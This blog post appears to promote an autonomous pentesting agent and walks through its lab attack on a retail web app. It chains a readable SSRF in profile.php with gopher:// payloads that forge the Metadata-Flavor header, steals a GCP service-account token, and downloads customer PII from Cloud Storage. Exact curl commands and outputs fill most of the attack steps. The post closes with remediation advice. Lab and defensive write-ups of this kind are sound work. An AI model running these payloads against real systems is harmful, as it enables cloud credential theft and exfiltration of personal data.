· 6 min read
Google Cloud protects its instance metadata service with a header requirement. A request to metadata.google.internal without Metadata-Flavor: Google is rejected, which is a deliberate defence against exactly the attack in this post: a server side request forgery where the attacker controls the URL but not the headers.
The defence holds against simple SSRF. It does not hold when the vulnerable fetcher also speaks gopher://, because gopher lets you write the raw bytes of a TCP conversation, headers included. This campaign ran against a Pwned Labs Gigantic Retail host and produced four findings.
What the agent found
| Severity | Count |
|---|---|
| Critical | 3 (all exploited) |
| High | 1 (confirmed) |
| Medium | 0 |
| Low | 0 |
| Total | 4 |
Step one: confirming the SSRF exists at all
The vulnerable feature is a profile picture fetcher. profile.php takes a user supplied URL, fetches it server side with PHP curl, and when the response is not a valid image it echoes the raw content back into a div.raw-content element. That echo is what makes this a readable SSRF rather than a blind one.
curl -s "http://<target>/profile.php?url=http://ifconfig.me"
-> the server fetched the external URL and returned its content in the raw-content divStep two: the header requirement, and the bypass
Pointed straight at the metadata service, the request was refused by design. The report records the refusal before the bypass, which is what makes the bypass meaningful:
# direct metadata access
-> HTTP 403: "Missing Metadata-Flavor:Google header"
# the same request, smuggled through gopher://
curl -s -G --data-urlencode \
"url=gopher://metadata.google.internal:80/_GET%20/computeMetadata/v1/%20HTTP/1.1%0d%0a\
Host:%20metadata.google.internal%0d%0aMetadata-Flavor:%20Google%0d%0a%0d%0a" \
"http://<target>/profile.php"
-> 200, metadata root returned: instance/, oslogin/, project/The payload is a complete HTTP request written by hand: request line, Host header, Metadata-Flavor: Google header, and the blank line that terminates the header block, all URL encoded with %0d%0a for each CRLF. The fetcher opens a TCP connection to port 80 and writes those bytes. The metadata service sees a request that satisfies its header check.
Step three: the token
curl -s -G --data-urlencode \
"url=gopher://metadata.google.internal:80/_GET%20/computeMetadata/v1/instance/\
service-accounts/default/token%20HTTP/1.1%0d%0aHost:%20metadata.google.internal%0d%0a\
Metadata-Flavor:%20Google%0d%0a%0d%0a" "http://<target>/profile.php"
-> HTTP/1.1 200 OK, JSON containing access_token
-> token format: ya29.<redacted> expires_in: 2612
-> service account: storage-service-account@gigantic-retail-project.iam.gserviceaccount.com
-> scope: https://www.googleapis.com/auth/cloud-platformThe scope is the fourth finding, rated high on its own: cloud-platform is the broadest scope Google offers. A token minted for a service that only needs to read one bucket can call any API the service account has permissions for.
Step four: using it
curl -s -H "Authorization: Bearer <stolen token>" \
"https://storage.googleapis.com/storage/v1/b/gigantic-retail/o"
-> 14 objects across 3 prefixes: images/, shop/, userdata/
curl -s -H "Authorization: Bearer <stolen token>" \
"https://storage.googleapis.com/download/storage/v1/b/gigantic-retail/o/\
userdata%2Fuser_data.csv?alt=media"
-> 20 PII records: Name, Address, Phone, Email, Job, CompanyTwenty records exfiltrated, plus the lab flag file, using a token that was never issued to anyone. The whole chain runs through one query parameter on one PHP page.
What makes this report auditable
Each finding carries the exact command it used, not a description of one. That matters most for the gopher payloads: the payload is the finding, so a defender who wants to verify this can paste the same URL and a developer who wants to test their fix can re-run it. The report also records the intermediate 403 from the direct attempt, which is what proves the header check exists and is bypassed, rather than never having been enforced.
The scope finding is marked confirmed rather than exploited: the agent read the scopes from the metadata endpoint and reported them. It did not go on to enumerate every other API that cloud-platform would have unlocked.
Remediation
- Allowlist the schemes the fetcher accepts. There is no legitimate reason for a profile picture feature to speak
gopher://,dict://orfile://. - Allowlist destinations, and resolve then validate the address before connecting, so that link local and internal ranges are unreachable regardless of the hostname supplied.
- Stop echoing fetched content back to the user. A blind SSRF is far less useful than a readable one.
- Move to metadata server v2 semantics and require
Metadata-Flavoreverywhere, but do not treat the header requirement as the control. It is a speed bump for a fetcher that can write raw bytes. - Replace the
cloud-platformscope with the narrowest scope the workload needs, and give the instance a service account with only the roles it uses. - Rotate the service account keys and review Cloud Storage access logs for the exposure window.
What this proves about autonomous pentesting
The interesting behaviour here is not the payload, which is a known technique. It is the sequence: the agent verified the SSRF against an external host first, tried the metadata service directly, read the 403 error text, inferred that the blocker was a header rather than a network control, and switched protocol to smuggle the header. That is four decisions taken from four responses, and none of them are in a scan template.
Darkmoon is GPL-3.0 and self hosted: repository, documentation.